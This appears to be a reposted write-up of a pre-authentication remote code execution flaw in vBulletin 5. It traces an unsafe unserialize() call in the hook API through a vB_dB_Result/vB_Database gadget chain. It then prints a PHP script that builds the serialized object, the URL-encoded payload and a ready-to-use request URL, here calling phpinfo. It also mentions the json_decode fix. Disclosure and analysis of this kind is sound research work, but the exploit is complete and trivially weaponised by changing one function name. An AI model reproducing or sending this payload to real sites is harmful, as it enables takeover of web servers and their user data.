ExploitFixes
vBulletin 5 PreAuth Remote Code Execution 2015-11-04 19:05:46

vBulletin 5 PreAuth RCE writeup
by @_cutz

As came to my attention a guy named Coldzer0 is selling a vBulletin RCE expoit on http://0day.today.
In his video he exploited several vBulletin boards while surfing on Google... This ended in the vBulletin main forum being pwned on monday (11/02/15).

vBulletin implements certain ajax API calls in /core/vb/api/, one of them is hook.php:
public function decodeArguments($arguments)
{
if ($args = @unserialize($arguments))
{
$result = '';

foreach ($args AS $varname => $value)
{
$result .= $varname;

Apart from the obvious unserialize() not much else happening there -- luckily we have in /core/vb/db/result.php:
class vB_dB_Result implements Iterator
{
...
public function rewind()
{
//no need to rerun the query if we are at the beginning of the recordset.
if ($this->bof)
{
return;
}

if ($this->recordset)
{
$this->db->free_result($this->recordset);
}

rewind() is the first function to get called when an Iterator object is accessed via foreach(). Then we have in /core/vb/database.php:
abstract class vB_Database
{
...
function free_result($queryresult)
{
$this->sql = '';
return @$this->functions['free_result']($queryresult);
}

Which gives easy RCE. Setup objects accordingly:
$ php << 'eof'
<?php
class vB_Database {
public $functions = array();

public function __construct()
{
$this->functions['free_result'] = 'phpinfo';
}
}

class vB_dB_Result {
protected $db;
protected $recordset;

public function __construct()
{
$this->db = new vB_Database();
$this->recordset = 1;
}
}

print urlencode(serialize(new vB_dB_Result())) . "\n";
eof
O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D

Just surf to:
http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D

The fix was just replacing the unserialize() with json_decode(). Btw this bug has been sitting in vBulletin for more than three years.
-- cutz